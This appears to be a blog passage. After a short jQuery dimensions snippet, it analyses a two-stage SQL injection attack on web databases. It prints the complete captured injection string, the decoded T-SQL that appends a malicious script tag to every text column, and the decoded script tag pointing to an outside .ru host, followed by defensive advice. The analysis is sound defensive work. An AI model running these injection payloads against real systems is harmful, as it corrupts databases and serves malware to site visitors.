This function was taken from jQuery and tweaked by myself to handle multiple elements instead of just one. The array of elements from getVisibleObj is passed to this function along with the element that requires measuring. This is then passed to the callback function so that correct scope can be utilised not that I require it here. The first loop stores the current style properties of the elements that require toggling in a hash on the object itself. After the callback is run the element styles are toggled back to their original state and this hash is removed from the element.

3. getElementDimensions

This is the function that actually is called by a user and returns an object with the height and width obtained from the elements offset values after any toggling has been carried out.

The reason I have not toggled position:absolute on elements that need toggling is that it seems to work without me doing this plus on the actual code I was working with earlier it was actually causing an incorrect offsetWidth value to be returned in certain situations. The test page seems to work with or without this property so if you have any issues pass this into the Swap function along with display:block and visibility:hidden.

Thursday 1 October 2009

Two Stage SQL Injection Attack

SQL Injection in two easy steps

Recently I came across the following SQL injection exploit which I thought I would post about as it tries to deliver its payload in two steps and unless you have actually spent the time decoding the varbinary strings they use you might not realise what its doing. Its based on a very successful exploit which has been doing the rounds for a couple of years now and makes use of an encoded varbinary string which is then decoded to insert malicious code into your system.


Step One - First attempt at insertion

So if you are checking your log files or logger database and see strings like the following in your querystrings then you probably know you've been crawled by a hackbot.

dEClaRe%20@s%20VaRchaR(4000);seT%20@S=CASt(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220%20aS%20vaRchAR(4000));EXEc(@S);--


Now if you want to know what this is doing you should be very careful so that you don't actually run the exploit and do the hackers work for them! So copy and paste and only use a Query Analyser window that's not connected to any live database.

First thing to do is URLDecode the string so that you get the spaces and symbols back. Use the great Hackbar add-on by FireFox or run it through a function such as UNESCAPE, URLDecode etc.

Then make sure you remove the end part which execute the string e.g ;EXEc(@S);-- and replace it with a PRINT statement e.g:

DECLARE @S VaRchaR(4000);
SET @S = CAST(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220 aS vaRchAR(4000))
PRINT @S

Now we need to find out what that encoded varbinary is doing so we run that SQL statement to view the contents of the variable @S which returns the following code:

dECLARe @T VArCHar(255),@c VarCHaR(255)

DeClaRE tAblE_CURsOR cUrSOR FoR

SELeCt A.naME,B.NaME
froM sysObjecTs a,sysCOLuMns B
wheRE a.id=b.Id AND a.xTYPE='U' and (B.xTYpe=99 OR b.xTYpe=35 OR b.xTyPe=231 or B.XtyPE=167)
oPeN taBlE_Cursor fetCh NEXt FROm tAbLe_cursoR iNTO @t,@C

WHile(@@fETch_sTATuS=0)
BeGIn
EXeC('updAte ['+@T+'] seT ['+@c+']=RTriM(cONvert(varCHAr(4000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))')
fETCH neXT FrOm TABLE_CUrsOr inTo @t,@C enD

clOse TaBLe_cURsOr

dEaLLocate taBlE_cUrsoR

Notice the lovely case syntax aLl uP aNd DoWn to get round anyone who forgot to make any regular expression tests case insensitive! It must be working on some sites otherwise they wouldn't be doing it.

Notice the long CAST statement in the middle of the UPDATE. This is different from previous similar attacks which would just insert a reference to a SCRIPT tag which referred to a virus infected site. They are trying to insert this encoded string into all the textual columns it can find in your database. I wonder what that string contains?


Step Two - Unpacking the newly inserted exploit

Well just after the first attempt on this page another attempt is made almost instantly with another payload which when looking at the log file or database seems just like the first one. However the injection string is slightly different and when its expanded out is:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR

SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH
NEXT FROM Table_Cursor
INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN

EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')

FETCH NEXT
FROM Table_Cursor
INTO @T,@C END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

So this second hit on your system is designed to unpack the previous attempts injection of an encoded string into your textual columns. Its looking for any textual columns that when converted to VARCHAR(4000) contain a SCRIPT tag and converting them to text to expose this SCRIPT tag to any web pages that display the contents of these columns.

So finally to find out which website this two stage attack is trying to deliver unsuspecting victims to we need to go back to the first payload and print out the contents of that long CAST statement in the middle of the UPDATE e.g:

PRINT cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))

<script src=http://www.adtcp.ru/ads.js></script>

I wonder what goodies can be found on this site!

Hopefully this exploit doesn't take too many victims but if it does you can use my SQL clean up script to remove any SCRIPT tags from your SQL database.

To avoid being caught out by attacks like this you should do as many of the following as possible:
  • Lock down your system views so they cannot be accessed by your website logons.
  • Put all your CUD (create, update, delete) statements in stored procs with execute permission and then only grant your website logon select permission.
  • Use parametrised queries instead of string concatenation to build SQL statements.
  • Sanitise all input parameters used for SQL that are submitted from your website.
  • Create some simple ISAPI rules to forward requests like these to 403 error pages.
  • Ensure any error messages are hidden from your website users.
Read this article of mine for more details.